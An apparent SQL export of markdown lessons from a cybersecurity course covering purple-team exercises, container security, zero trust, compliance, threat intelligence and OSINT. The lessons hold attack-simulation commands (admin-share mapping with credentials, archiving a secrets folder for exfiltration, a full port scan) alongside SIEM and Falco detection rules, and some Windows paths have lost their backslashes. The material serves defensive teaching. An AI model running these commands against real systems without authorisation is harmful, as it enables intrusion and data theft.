(688, 413, '## Exercise: Lateral Movement (T1021)\n\n**Objective**: Detect movement between machines using SMB/Windows Admin Shares.\n\n### The Attack (Atomic T1021.002)\n*   **Command**: `net use \\TargetIPC$ /user:Admin Pa$$word`\n*   **Context**: Mapping the C: drive of a remote computer.\n\n### The Detection\n1.  **Event ID**: 4624 (Logon) Type 3 (Network).\n2.  **Event ID**: 5140 (Share Access).\n3.  **Share Name**: `\\*C$`, `\\*ADMIN$`, `\\*IPC$`.\n\n### SIEM Search\n`index=windows EventCode=5140 ShareName=\"*C$\" AccountName!=\"*$\" `\n(Exclude computer accounts ending in $).\n\n### Analysis\nWhy is \"Mary\" mapping the C$ drive of \"Bob\"?\n*   If Mary is HelpDesk -> Maybe okay.\n*   If Mary is HR -> **Malicious**.', 'markdown', 20, '2025-12-27 02:26:00', '2025-12-29 16:15:03'),
(689, 414, '## Exercise: Data Exfiltration (T1048)\n\n**Objective**: Detect data leaving the network.\n\n### The Attack\n*   **Command**: Compress a folder into a ZIP and send it to an external FTP/HTTP server.\n*   **Atomic**: `7z a -t7z -mx=9 stolen_data.7z C:UsersPublicSecrets*`\n\n### The Detection\n1.  **Archiving**: Event 4688 (Process Create) -> `7z.exe` or `rar.exe` or `tar.exe`.\n    *   *Suspicious*: Running from a Temp directory.\n2.  **Network**: Firewall allow log to a non-business IP.\n    *   High Upload volume (> 10 MB).\n\n### SIEM Search\n`index=firewall action=allow bytes_out > 10000000 dest_port NOT IN (80, 443)`\n(Looking for FTP, SSH, or odd ports).\n\n### The Fix\n*   Block outbound connections on servers by default.\n*   Alert on large archive creation.', 'markdown', 20, '2025-12-27 02:26:00', '2025-12-29 16:15:03'),
(690, 415, '## Metrics & Reporting\n\nHow do you prove Purple Teaming works?\n\n### The Scorecard\n*   **Detection Rate**: \"We detected 5/10 attacks (50%).\" -> \"Next month: 8/10 (80%).\"\n*   **Data Quality**: \"We had logs for 9/10 attacks, but no rule.\"\n*   **Alert Fidelity**: \"We had an alert, but it was classified as \'Info\' instead of \'Critical\'.\"\n\n### The Executive Report\n\"We simulated a Ransomware attack.\n*   Result: We successfully blocked execution.\n*   Gap: It took us 4 hours to detect the initial phishing email.\n*   Plan: Tune email gateway filter.\"\n\nThis creates a dashboard of **Continuous Improvement**.', 'markdown', 20, '2025-12-27 02:26:00', '2025-12-29 16:15:03'),
(691, 416, '## Module 41 Review\nYou simulated an attack chain:\n*   Credentials Stolen -> Lateral Movement -> Exfiltration.\n*   You validated detections.\n\nNext: Modern security in Containers and Cloud.', 'markdown', 20, '2025-12-27 02:26:00', '2025-12-29 14:23:36'),
(692, 421, '## Container Security Fundamentals\n\n\"But it works on my machine!\" - The Developer.\n\n### What is a Container?\nA container (Docker) is a lightweight package of software that includes everything needed to run it: code, runtime, system tools, libraries.\n*   **Advantage**: Portability. It runs the same on a laptop as in the cloud.\n*   **Difference from VM**: It shares the **Host Kernel**. A VM has its own Kernel.\n    *   *Security Implication*: If you escape a VM, you hit the Hypervisor. If you escape a Container, you are on the Host Linux OS root.\n\n### The Attack Surface\n1.  **The Image**: Is the software (Nginx, Python) vulnerable?\n2.  **The Registry**: Where do you download images from? (Docker Hub).\n3.  **The Orchestrator**: Kubernetes (K8s) configuration.\n4.  **The Runtime**: The Docker daemon running on the host.\n\n### Ephemeral Nature\nContainers live for minutes.\n*   **SOC Nightmare**: \"Alert: TCP scan from Container ID a1b2c3d4.\"\n*   Analyst checks 10 minutes later. Container a1b2c3d4 is gone. Deleted.\n*   *Solution*: You need specialized Container Security tools that log events *instantly* to a central database.', 'markdown', 20, '2025-12-27 02:27:22', '2025-12-29 16:15:13'),
(693, 422, '## Docker Security Hardening\n\nDocker is not secure by default.\n\n### 1. Rootless Mode\n*   **Risk**: By default, the Docker daemon runs as **root**.\n*   **Fix**: Configure Docker to run in \"Rootless Mode\" (User Namespace Remapping).\n*   *Why*: If a hacker breaks out of the container, they are \"nobody\" on the host, not \"root\".\n\n### 2. Capabilities (Linux Capabilities)\n*   Linux decomposes \"Root\" privileges into small slices (CAP_NET_ADMIN, CAP_SYS_BOOT, etc.).\n*   **Hardening**: Drop all capabilities, then add back only what you need.\n    *   `docker run --cap-drop=all --cap-add=NET_BIND_SERVICE ...`\n\n### 3. Read-Only Filesystem\n*   Containers should be **Immutable**. You shouldn\'t patch a running container; you deploy a new one.\n*   **Flag**: `--read-only`.\n*   *Why*: Attackers cannot download malware or modify `/etc/passwd`.\n\n### 4. Do not expose the Docker Socket\n*   `/var/run/docker.sock` is the API key to the kingdom. If you mount this into a container, that container has full root control over the host.\n*   **Rule**: Never mount the socket unless absolutely necessary (e.g., for a monitoring agent).', 'markdown', 20, '2025-12-27 02:27:22', '2025-12-29 16:15:13'),
(694, 423, '## Kubernetes Security (K8s)\n\nKubernetes manages thousands of containers. It is complex (\"K8s is hard\").\n\n### 1. The API Server\nThe brain of K8s. Port 6443.\n*   **Attack**: If this is open to the internet with no auth, anyone can delete your cluster.\n*   **Fix**: Private access only.\n\n### 2. RBAC (Role-Based Access Control)\n*   **Service Accounts**: Every pod has an identity.\n*   **Risk**: Default Service Account often has too many permissions.\n*   **Fix**: Create specific ServiceAccounts. \"This Web Pod can ONLY talk to the Database Pod.\"\n\n### 3. Pod Security Standards (PSS)\n*   **Privileged Pods**: A pod with `privileged: true` is basically a root shell on the host.\n*   **Policy**: Use OPA Gatekeeper or Kyverno to **Block** any deployment that asks for `privileged: true`.\n\n### 4. Network Policies\n*   By default, in K8s, **all pods can talk to all pods**. (Flat network).\n*   **Attack**: Hacker compromises Web Pod. Moves laterally to Database Pod easily.\n*   **Fix**: Implement Network Policies (Firewall rules) to deny traffic by default.', 'markdown', 20, '2025-12-27 02:27:22', '2025-12-29 16:15:13'),
(695, 424, '## Container Image Security\n\n\"Supply Chain Security.\"\n\n### Scanning Images\nBefore you deploy, scan the image.\n*   **Tools**: Trivy, Grype, Clair.\n*   **Process**: CI/CD Pipeline.\n    *   Developer commits code.\n    *   Jenkins builds image.\n    *   Trivy scans image.\n    *   If `Critical Vulnerabilities > 0`: **Fail Build**. (Do not deploy).\n    *   Else: Deploy.\n\n### Minimal Base Images\n*   **Bloat**: Using `ubuntu:latest` (700MB) includes Curl, Wget, Netcat, Grep. Hackers love these tools (\"Living off the Land\").\n*   **Minimal**: Using `alpine` (5MB) or Google `distroless`.\n    *   Contains *only* the application binary. No Shell. No Curl.\n    *   *Result*: Beating the hacker by removing their weapons.\n\n### Signing Images (Notary)\nHow do you know this image actually came from your developer and wasn\'t injected by a hacker?\n*   **Cosign / Notary**: Digitally sign images. Kubernetes verifies the signature before running.', 'markdown', 20, '2025-12-27 02:27:22', '2025-12-29 16:15:13'),
(696, 425, '## Runtime Protection\n\nScanning images is \"Static\". We also need \"Dynamic\" protection (EDR for Containers).\n\n### Falco (The Runtime Camera)\n**Falco** is an open-source tool (CNCF) that watches the Kernel.\n*   **Rule**: \"Alert if a Shell is spawned in a container.\"\n*   **Rule**: \"Alert if a container modifies `/etc/shadow`.\"\n*   **Rule**: \"Alert if a container connects to a crypto-mining pool.\"\n\n### Sidecars\nSecurity tools often run as a \"Sidecar\" container next to the main app container in the same Pod. They share the network view and can inspect localhost traffic.\n\n### eBPF (Extended Berkeley Packet Filter)\nThe modern magic technology.\n*   allows running sandboxed programs in the Linux Kernel without changing kernel source code.\n*   **Cilium / Tetragon**: Uses eBPF to monitor network and process execution with near-zero performance overhead.\n*   This is the future of Linux security.', 'markdown', 20, '2025-12-27 02:27:22', '2025-12-29 16:15:13'),
(697, 426, '## Module 42 Review\n*   **Containers**: Shared Kernel = High Risk.\n*   **Roots**: Avoid running as Root.\n*   **Images**: Scan before you run.\n*   **Runtime**: Watch for drift and shells (`Falco`).\n\nNext: Zero Trust (The modern architecture).', 'markdown', 20, '2025-12-27 02:27:22', '2025-12-29 14:24:24'),
(698, 431, '## Zero Trust Principles\n\n\"Never Trust. Always Verify.\"\n\n### The Old Model: Castle and Moat\n*   Hard shell (Firewall). Soft gooey center (Internal Network).\n*   If you VPN in, you are \"Trusted\". You can access everything.\n\n### The Zero Trust Model\n*   Assume the network is **Hostile**.\n*   Assume the attacker is **already inside**.\n*   Therefore: Verify *every single request*.\n    1.  **Identity**: Who are you? (MFA).\n    2.  **Device**: Is your laptop patched? (Health).\n    3.  **Context**: Are you in a weird location?\n    4.  **Resource**: Do you need access to *this specific* file?\n\n### Pillars of Zero Trust (CISA)\n1.  **Identity**: Users.\n2.  **Devices**: Endpoints.\n3.  **Network**: Segmentation.\n4.  **Applications**: Workloads.\n5.  **Data**: Encryption/Tagging.', 'markdown', 20, '2025-12-27 02:28:42', '2025-12-29 16:15:13'),
(699, 432, '## Identity as the Perimeter\n\nThe new firewall is the Login Screen.\n\n### Authentication vs Authorization\n*   **AuthN**: Who are you? (MFA).\n*   **AuthZ**: What can you do? (Roles).\n\n### The Signal\nZero Trust creates a \"Risk Signal\" based on context:\n*   **User**: Is Bob.\n*   **Device**: Corporate Laptop (Managed).\n*   **Location**: Office IP.\n*   **Behavior**: Normal hours.\n*   **Result**: Allow Access.\n\n*   **Change**: Bob logs in from an unmanaged iPad in Russia.\n*   **Result**: Block (even if password is correct).', 'markdown', 20, '2025-12-27 02:28:42', '2025-12-29 14:24:24'),
(700, 433, '## Microsegmentation\n\nThe technique to stop Lateral Movement.\n\n### Concept\nInstead of one big \"Internal\" VLAN, break the network into tiny islands.\n*   **Macro-Segmentation**: VLANs. (HR, Finance, IT).\n*   **Micro-Segmentation**: Host-level firewalls.\n    *   \"Server A can talk to Server B on Port 443.\"\n    *   \"Server A can talk to Server C on Port 3306.\"\n    *   \"Server A **cannot** talk to Server D.\"\n\n### Implementation\n1.  **Tagging**: Map the application flow. \"Web calls App calls DB\".\n2.  **Policy**: Write \"Allow\" rules for valid flows.\n3.  **Default Deny**: Block everything else.\n\n### The Effect\nIf an attacker compromises the Web Server, they are trapped in a small padded cell. They cannot scan the network (blocked). They cannot SSH to the DB (blocked).', 'markdown', 20, '2025-12-27 02:28:42', '2025-12-29 16:15:13'),
(701, 434, '## Continuous Verification\n\nTrust is ephemeral.\n\n### Posture Checks\nBefore granting access, check the device health.\n*   Is the OS patched?\n*   Is EDR running?\n*   Is Disk Encrypted?\nIf NO -> Quarantine the device until fixed.\n\n### Session Times\n*   **Old**: Login lasts 30 days.\n*   **Zero Trust**: Login lasts 1 hour. Or 15 minutes for critical apps.\nRe-verify constantly.', 'markdown', 20, '2025-12-27 02:28:42', '2025-12-29 14:24:24');
INSERT INTO `lesson_content` (`id`, `task_id`, `content`, `content_type`, `reading_time_minutes`, `created_at`, `updated_at`) VALUES
(702, 435, '## Implementation\n\nHow do we actually build this?\n\n1.  **Define Protect Surface**: Identify the critical data (DAAS - Data, Assets, Applications, Services).\n2.  **Map Transaction Flows**: How does data move today? (Who talks to whom?).\n3.  **Build Policy**: Write the \"Allow\" rules based on business need.\n4.  **Monitor**: Watch logs.\n5.  **Enforce**: Turn on blocking mode.\n\n*Warning*: Don\'t turn on blocking on Day 1. You will break production.', 'markdown', 20, '2025-12-27 02:28:42', '2025-12-29 14:24:24'),
(703, 436, '## Module 43 Review\n*   **Identity**: The core control.\n*   **Context**: Time, Device, Location.\n*   **Segmentation**: Keeping zones small.\n\nNext: Compliance (The rules we must follow).', 'markdown', 20, '2025-12-27 02:28:42', '2025-12-29 14:24:24'),
(704, 441, '## Security Frameworks Overview\n\nWhy do we follow frameworks?\n1.  **Guidance**: Don\'t reinvent the wheel. Best practices exist.\n2.  **Compliance**: It\'s the law (or contract).\n3.  **Trust**: Customers trust you if you have a badge (ISO/SOC2).\n\n### Types\n*   **Regulatory**: HIPAA (Health), GDPR (Privacy). Essential.\n*   **Voluntary**: NIST CSF, CIS Controls. Best practice.', 'markdown', 20, '2025-12-27 02:30:07', '2025-12-29 14:24:24'),
(705, 442, '## NIST Cybersecurity Framework (CSF)\n\nThe gold standard for US organizations.\n\n### The 5 Functions\n1.  **Identify**: Asset Management, Risk Assessment. \"Know what you have.\"\n2.  **Protect**: Access Control, Awareness, Data Security. \"Lock the doors.\"\n3.  **Detect**: Anomalies, Monitoring. \"Install cameras.\"\n4.  **Respond**: Mitigation, Analysis. \"Call the fire department.\"\n5.  **Recover**: Planning, Improvements. \"Rebuild.\"\n\n*(2.0 added \"Govern\" as the 6th function).*', 'markdown', 20, '2025-12-27 02:30:07', '2025-12-29 14:24:24'),
(706, 443, '## ISO 27001 & 27002\n\nThe International Standard.\n\n### ISMS (Information Security Management System)\nISO 27001 focuses on the **Management System**, not just the tech.\n*   \"Do you have a process to identify risks?\"\n*   \"Do you have management support?\"\n*   \"Do you continuously improve?\"\n\n### Annex A (Controls)\nList of 114 specific controls (Access Control, Cryptography, Physical Security).\n*   You don\'t have to implement all 114, but you must explain why if you exclude one (Statement of Applicability - SOA).\n\n### Usage\n*   Common in Europe and Asia.\n*   Rigorous certification process.', 'markdown', 20, '2025-12-27 02:30:07', '2025-12-29 16:15:13'),
(707, 444, '## SOC 2 Compliance\n\n**SOC 2 (Service Organization Control 2)** is the gold standard for SaaS companies.\n\n### The Trust Services Criteria (TSC)\n1.  **Security** (Mandatory): Firewalls, IDS, MFA.\n2.  **Availability**: Uptime, DR.\n3.  **Processing Integrity**: Data is accurate.\n4.  **Confidentiality**: Encryption.\n5.  **Privacy**: Consents.\n\n### Type 1 vs Type 2\n*   **Type 1**: \"Design\". A snapshot in time. \"On Jan 1st, they had a firewall.\"\n*   **Type 2**: \"Operating Effectiveness\". Observation over 6-12 months. \"For the entire year, they kept the firewall running and reviewed logs daily.\"\n*   *Note*: Enterprise customers demand SOC 2 Type 2 reports.\n\n### The Analyst\'s Role\nEvidence Collection.\n*   Auditor: \"Prove you review access logs.\"\n*   Analyst: \"Here is the ticket #1234 where I reviewed the logs.\"', 'markdown', 20, '2025-12-27 02:30:07', '2025-12-29 16:15:13'),
(708, 445, '## PCI-DSS & HIPAA\n\n### PCI-DSS (Payment Card Industry Data Security Standard)\n*   **Scope**: Anyone protecting credit card numbers.\n*   **Rules**: Very technical.\n    *   \"Install a firewall.\"\n    *   \"Encrypt data in transit.\"\n    *   \"Use Anti-Virus.\"\n\n### HIPAA (Health Insurance Portability and Accountability Act)\n*   **Scope**: US Healthcare (Hospitals, Insurance).\n*   **Focus**: Protecting PHI (Personal Health Information).\n*   **Rule**: More flexible/vague than PCI, but huge fines for breaches.', 'markdown', 20, '2025-12-27 02:30:07', '2025-12-29 14:24:24'),
(709, 446, '## Module 44 Review\n*   **NIST CSF**: The operational guide (Identify -> Recover).\n*   **ISO 27001**: The management standard.\n*   **SOC 2**: The SaaS standard.\n*   **PCI/HIPAA**: The industry laws.\n\nYou have completed Path 4: Advanced SOC & Threat Hunting.\nYou are now ready to tackle the hardest challenges in Cyber Defense.', 'markdown', 20, '2025-12-27 02:30:07', '2025-12-29 14:24:24'),
(978, 765, '## What is Cyber Threat Intelligence?\n\n**Cyber Threat Intelligence (CTI)** is evidence-based knowledge, including context, mechanisms, indicators, implications, and action-oriented advice about an existing or emerging menace or hazard to assets.\n\nIn simpler terms: **CTI is the art of knowing your enemy.**\n\nIt transforms raw data into a narrative that helps you make better security decisions. It answers questions like:\n*   \"Who is attacking us?\"\n*   \"Why are they attacking us?\"\n*   \"How do they get in?\"\n*   \"What are they after?\"\n\n---\n\n### The Pyramid of Value\nTo understand CTI, you must understand the difference between Data, Information, and Intelligence.\n\n#### 1. Data (The Raw Material)\nData is simple, raw indicators. It has no context.\n*   **Example**: `IP Address: 192.168.1.5` or `Hash: a1b2c3d4...`\n*   **Value**: Low. Seeing an IP address tells you nothing about *why* it is there or if it is bad.\n\n#### 2. Information (Processed)\nInformation is data that has been aggregated or enriched. It answers \"What is this?\"\n*   **Example**: \"The IP `192.168.1.5` belongs to a known VPN provider and was seen scanning port 445 on our firewall.\"\n*   **Value**: Medium. You know what it is, but not if it\'s a targeted threat.\n\n#### 3. Intelligence (Actionable Insight)\nIntelligence is the analysis of information to provide specific direction. It answers \"What should we do?\"\n*   **Example**: \"APT29 is actively using the VPN IP `192.168.1.5` to exploit the Log4j vulnerability in financial institutions to deploy Cobalt Strike. **Recommendation**: Block this IP and patch Log4j immediately.\"\n*   **Value**: High. This captures the intent, the capability, and the necessary action.\n\n> 💡 **Key Takeaway**: If you cannot act on it, it is not intelligence; it is just news.\n\n---\n\n### Why Do We Need CTI?\nMany organizations operate in a functional \"Firefighting\" mode—reacting to alerts as they happen. CTI shifts this to a **Proactive** stance.\n\n#### 1. Proactive Defense (The \"Hunt\")\nInstead of waiting for the SIEM to beep, CTI tells us what to look for. If we know a specific ransomware group uses \"RDP Brute Force\" followed by \"PsExec\", we can go *look* for those signs before the ransomware is deployed.\n\n#### 2. Decision Advantage\nSecurity budgets are finite. CTI helps leaders decide where to spend money.\n*   *Without CTI*: \"We need to fix everything.\" (Impossible).\n*   *With CTI*: \"Our threat landscape is dominated by Phishing and Ransomware. We should invest 80% of our budget in Email Security and Offline Backups, and less on physical security.\"\n\n#### 3. Alert Triage\nA SOC Analyst sees 1,000 alerts a day. Which one matters?\nCTI provides the context. An alert for \"Powershell Execution\" might be normal for a SysAdmin. But CTI tells us: \"This specific Powershell command matches the exact syntax used by the Emotet Trojan.\" Suddenly, that alert becomes Priority 1.\n\n---\n\n### Case Study: The Target Breach (2013)\nOne of the most famous examples of failed intelligence.\n*   **The Attack**: Hackers compromised a third-party HVAC vendor just to get into Target\'s network.\n*   **The Warning**: FireEye (security vendor) detected the malware and flagged it.\n*   **The Failure**: Target\'s security team saw the alert but ignored it because they lacked the **Strategic Intelligence** to understand that retail was being aggressively targeted by POS (Point of Sale) RAM scrapers.\n*   **The Result**: 40 million credit cards stolen. CEO fired.\n*   **Lesson**: Detection tools are not enough. You need the intelligence to understand the *severity* and *context* of what you are seeing.\n\n---\n\n### Summary\n*   **Data** is raw numbers. **Information** is context. **Intelligence** is actionable advice.\n*   CTI moves you from **Reactive** (Firefighting) to **Proactive** (Hunting).\n*   The goal is to reduce risk and speed up response times.', 'markdown', NULL, '2025-12-29 13:30:44', '2025-12-29 13:41:22'),
(979, 766, '## The Intelligence Cycle\n\nIntelligence does not just \"happen.\" It is the result of a rigorous, repeatable process called the **Intelligence Cycle**. This 6-step loop ensures that the intel produced effectively meets the needs of the consumer.\n\n---\n\n### Phase 1: Direction (Planning)\nThis is the most critical phase. Before you collect a single log, you must ask: **\"What do we want to know?\"**\n*   **Defining Requirements**: We create **Intelligence Requirements (IRs)**.\n    *   *Bad IR*: \"Tell me about hackers.\" (Too vague).\n    *   *Good IR*: \"Is our organization vulnerable to the specific ransomware strains currently targeting the healthcare sector?\"\n*   **Stakeholders**: Who needs this? The CISO? The SOC? The Patch team?\n\n### Phase 2: Collection\nGathering the raw data to answer the question.\n*   **Internal Sources**: Firewall logs, EDR telemetry, SIEM events, past incident reports.\n*   **External Sources (OSINT)**: Twitter, Github, News reports, Pastebin.\n*   **Closed Sources**: Dark web forums, paid vendor feeds (e.g., CrowdStrike, Mandiant), ISACs (Information Sharing and Analysis Centers).\n\n### Phase 3: Processing\nRaw data is often unusable (messy, encrypted, or foreign language). Processing turns it into a readable format.\n*   **Normalization**: Converting 10 different log formats into one standard (like JSON or STIX).\n*   **Translation**: Translating Russian forum posts into English.\n*   **Decryption**: Decrypting malware configs.\n*   **Filtering**: Throwing away the noise (false positives) to focus on the signal.\n\n### Phase 4: Analysis\nThis is the \"Brain\" of the operation. Analysts connect the dots.\n*   **Correlation**: \"We saw this file hash in our network, and this report says it belongs to APT28.\"\n*   **Attribution**: \"Based on the TTPs, we assess with High Confidence this is a state-sponsored attack.\"\n*   **Assessment**: \"What does this mean for us?\" The analyst validates the truthfulness of the data and estimates the potential impact.\n*   **Structured Analytic Techniques (SATs)**: Methods like \"Analysis of Competing Hypotheses\" are used to avoid cognitive biases (like Confirmation Bias).\n\n### Phase 5: Dissemination\nDelivering the finished product to the right person, in the right format, at the right time.\n*   **Strategic**: A 1-page PDF summary for the CEO. (No technical jargon).\n*   **Tactical**: A machine-readable list of IOCs (STIX/TAXII) pushed directly to the Firewall.\n*   **Operational**: A detailed report on TTPs for the Threat Hunting team.\n*   **Rule of Thumb**: \"The right intel to the wrong person is useless.\"\n\n### Phase 6: Feedback\nThe cycle closes. Did we answer the question?\n*   \"Was this report helpful?\"\n*   \"Did it lead to a detection?\"\n*   \"Was it too late?\"\n*   Based on feedback, we adjust our **Direction** for the next cycle. If the SOC says \"These IOCs were all false positives,\" we need to change our Collection or Analysis phase.\n\n---\n\n### Summary\nThe cycle never stops. As threats evolve, our requirements change, and the wheel keeps turning.', 'markdown', NULL, '2025-12-29 13:30:45', '2025-12-29 13:41:22'),
(980, 767, '## Types of Threat Intelligence\n\nNot all intelligence is created equal. We categorize CTI into three (sometimes four) main types based on the **Consumer** (who reads it) and the **Horizon** (how long it matters).\n\n---\n\n### 1. Strategic Intelligence\n*   **Audience**: Executives, Board of Directors, CISO.\n*   **Focus**: High-level trends, financial risk, brand reputation, and geopolitics.\n*   **Time Horizon**: Long-term (Years).\n*   **Example Content**:\n    *   \"Ransomware attacks in our industry increased by 200% this quarter.\"\n    *   \"New regulations in the EU will impact our data privacy compliance.\"\n    *   \"The conflict in Region X increases the risk of nation-state cyber retaliation.\"\n*   **Goal**: To inform business decisions, budget allocation, and risk management. **No technical terms.**\n\n### 2. Operational Intelligence\n*   **Audience**: Security Managers, Threat Hunters, Incident Responders.\n*   **Focus**: **TTPs** (Tactics, Techniques, and Procedures). The \"How\" and \"Why\" of an attack.\n*   **Time Horizon**: Mid-term (Weeks to Months).\n*   **Example Content**:\n    *   \"APT29 is using a new technique to bypass Multi-Factor Authentication (MFA).\"\n    *   \"The \'Emotet\' botnet sends phishing emails with subject lines regarding invoices.\"\n    *   \"Adversaries are actively exploiting the PrintNightmare vulnerability.\"\n*   **Goal**: To update security posture, prioritize patching, and guide threat hunting.\n\n### 3. Tactical Intelligence\n*   **Audience**: SOC Analysts, SIEM Administrators, Automated Systems (Firewalls).\n*   **Focus**: **IOCs** (Indicators of Compromise). The specific artifacts left behind.\n*   **Time Horizon**: Short-term (Hours to Days).\n*   **Example Content**:\n    *   **IP Addresses**: `104.22.1.1`\n    *   **File Hashes**: `e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855`\n    *   **Domains**: `evil-phishing-site.com`\n*   **Goal**: Immediate detection and blocking. Tactical intel is often automated because it expires quickly (attackers change IPs cheaply).\n\n---\n\n### Comparison Table\n\n| Feature | Strategic | Operational | Tactical |\n| :--- | :--- | :--- | :--- |\n| **Consumer** | C-Suite / Board | SOC Mgr / Hunters | Analysts / Machines |\n| **Content** | Trends / Risk | TTPs / Campaigns | IOCs (Artifacts) |\n| **Lifespan** | Years | Weeks/Months | Hours/Days |\n| **Volume** | Low | Medium | High |\n| **Automated?** | Never | Rarely | Often |\n\n---\n\n### The \"Fourth\" Type: Technical Intelligence\nSome frameworks include a 4th type focused purely on technical tools and malware analysis results (e.g., \"This malware uses XOR encryption with key 0x55\"). This often blends into Operational/Tactical.\n\n### Scenario: The Ransomware Attack\n*   **Tactical**: The Firewall blocks 10 IPs associated with the C2 server.\n*   **Operational**: The Threat Hunter looks for the \"Double Pulsar\" exploit tool because they know this group uses it.\n*   **Strategic**: The CISO presents a report to the Board requesting $2M for offline backups because reliance on cloud sync is a strategic weakness against this specific threat actor.\n\nAll three types work together to protect the organization.', 'markdown', NULL, '2025-12-29 13:30:45', '2025-12-29 13:41:22'),
(981, 768, '## Module 1 Assessment\nPass this quiz to complete the module.', 'markdown', NULL, '2025-12-29 13:30:45', '2025-12-29 13:30:45'),
(982, 769, '## Open Source Intelligence (OSINT)\n\n**OSINT** is data collected from publicly available sources to be used in an intelligence context. \"Open Source\" does not mean \"Open Source Software\" (like Linux). It means **Publicly Accessible Information (PAI)**.\n\nIf it is on the internet and you can access it without hacking a password, it is OSINT.\n\n---\n\n### The OSINT Landscape\nOSINT is vast. It covers:\n1.  **The Surface Web**: Google, News, Company Websites. (4% of web).\n2.  **The Deep Web**: Content not indexed by Search Engines (Databases, Court Records, Wayback Machine).\n3.  **The Dark Web**: Networks requiring specific software (Tor/I2P) to access. Marketplace for stolen data.\n4.  **Social Media**: Twitter, LinkedIn, Instagram, Reddit.\n5.  **Technical Data**: DNS records, WHOIS, SSL Certificates, IP Geolocation.\n\n---\n\n### Passive vs Active Reconnaissance\nThis distinction keeps you out of jail.\n\n#### Passive Reconnaissance (Safe)\nGathering info **without** interacting directly with the target\'s systems.\n*   **Method**: You query Google, Shodan, or Whois.\n*   **Visibility**: The target sees traffic from Google/Shodan, not YOU.\n*   **Risk**: Near Zero.\n*   *Example*: Searching `site:target.com` on Google.\n\n#### Active Reconnaissance (Risky)\nGathering info by **touching** the target.\n*   **Method**: Port Scanning (Nmap), Vulnerability Scanning (Nessus), connecting to their web server.\n*   **Visibility**: Your IP address appears in their Firewall/Web logs.\n*   **Risk**: High. You can be blocked or flagged as an attacker.\n*   *Example*: Running `nmap -sS -p- target.com`.\n\n---\n\n### OPSEC: Operations Security\n\"If you stare into the abyss, the abyss stares back.\"\nWhen you research a Threat Actor or a malicious domain, you must assume they are watching their logs. If they see a request from \"My-Corporate-Laptop\", they know you are on to them.\n\n#### The Golden Rules of Intelligence OPSEC\n1.  **Never Use Your Real Identity**: Do not use your personal Gmail or corporate email to register for forums.\n2.  **Use a Sock Puppet**: A fake online persona.\n    *   *Name*: Generic but realistic.\n    *   *Photo*: AI Generated (thispersondoesnotexist.com) - avoid reverse image search hits.\n    *   *History*: An empty account looks suspicious. A good sock puppet has months of benign activity.\n3.  **Manage Attribution**:\n    *   **VPN**: Hides your IP.\n    *   **Tor**: Anonymizes your traffic (but beware, Tor exit nodes are public).\n    *   **Virtual Machines (VM)**: Always browse from a disposable VM (like Whonix or Kali). If you get infected, you just delete the VM.\n    *   **User Agents**: Spoof your browser string to blend in.', 'markdown', NULL, '2025-12-29 13:30:45', '2025-12-29 13:43:25'),
(983, 770, '## Infrastructure OSINT\n\nAdversaries need infrastructure to attack you. They need Domains for Phishing and IPs for Command & Control (C2). By analyzing this infrastructure, we can pivot and find more of their network.\n\n---\n\n### 1. WHOIS Data\nWHOIS is the registration record for a domain. It tells you:\n*   **Registrar**: GoDaddy, Namecheap, etc.\n*   **Dates**: Creation Date (New domains are suspicious!), Expiry Date.\n*   **Registrant**: Name, Email, Phone.\n*   **Name Servers**: `ns1.hosting.com`.\n\n> ⚠️ **The GDPR Problem**: Since 2018 (GDPR), most personal WHOIS data is \"Redacted for Privacy\". However, historical WHOIS services (like Whoxy or various paid tools) often cached the record *before* it was redacted.\n\n### 2. DNS Enumeration\nDNS is the phonebook of the internet. We want to find every subdomain associated with a target.\n*   **A Record**: Maps `domain.com` -> `1.2.3.4` (IPv4).\n*   **CNAME Record**: Alias. `blog.target.com` -> `wordpress.com`.\n*   **MX Record**: Mail Exchange. Tells you who hosts their email (e.g., `protection.outlook.com` means they use Microsoft 365).\n*   **TXT Record**: Often reveals trust relationships. `include:sending.service.com` in SPF records tells you they use that vendor for marketing emails.\n\n### 3. Certificate Transparency (CT)\nThis is a goldmine for OSINT.\nWhen a Certificate Authority (like Let\'s Encrypt) issues an SSL/TLS certificate, they MUST publish it to a public **Certificate Transparency Log**.\n*   **Why it helps**: If an attacker sets up `phishing.target-login.com` and gets an SSL cert to make it \"secure\", that hostname appears in the public CT logs **immediately**.\n*   **Tool**: `crt.sh`. Just search `%target.com` to see every sub-domain they have ever secured.\n\n### Pivot Techniques\n*   **Reverse DNS**: \"What other domains are hosted on this IP?\" (Shared hosting vs Dedicated C2).\n*   **Reverse Analytics**: \"What other websites share this Google Analytics ID?\" (Links attacker sites together).\n*   **Reverse WHOIS**: \"Show me all domains registered by `badguy@evil.com`.\"', 'markdown', NULL, '2025-12-29 13:30:45', '2025-12-29 13:43:25'),
(984, 771, '## Social Media Intelligence (SOCMINT)\n\nPeople are the weakest link. They overshare. SOCMINT exploits this to gather intelligence on targets (employees) or threats (hackers).\n\n---\n\n### Key Platforms\n1.  **LinkedIn**: The #1 source for corporate recon.\n    *   *Attacker View*: \"I need to phish the SysAdmin. I\'ll search LinkedIn for `System Administrator` at `Target Company`. Oh, here is Bob. Bob lists `Cisco ASA` in his skills. Now I know they use Cisco firewalls.\"\n2.  **Twitter / X**: Real-time news ticker.\n    *   Security researchers post 0-days here first.\n    *   Hacktivists announce DDoS attacks here.\n    *   *Search*: `(from:user) until:2023-01-01` (Time travel).\n3.  **Telegram**: The modern \"Dark Web\".\n    *   Ransomware groups run public \"News Channels\" to name-and-shame victims.\n    *   Cybercrime markets sell access and tools in group chats.\n\n### Username Enumeration\nWe are creatures of habit. If my handle is `hacker_123` on Reddit, it is probably `hacker_123` on GitHub and Instagram.\n*   **Concept**: Identity Resolution. Connecting a digital persona across different platforms to build a full profile.\n*   **Tool**: **Sherlock** or **WhatsMyName**. These scripts query hundreds of websites: \"Does `user/hacker_123` exist?\"\n\n### HUMINT (Human Intelligence)\nIn the digital world, this means interacting with people to get info.\n*   **Scenario**: An analyst joins a discord server for a hacking tool and asks \"Does this allow persistence?\" to understand its capabilities.\n*   **Risk**: **Extreme**. Interacting with threat actors can legally verify them, tip them off, or violate specific laws (like providing material support if you buy something).\n*   **Policy**: Most SOCs have a strict \"Passive Only\" policy. You can watch, but you cannot talk.', 'markdown', NULL, '2025-12-29 13:30:45', '2025-12-29 13:43:25'),
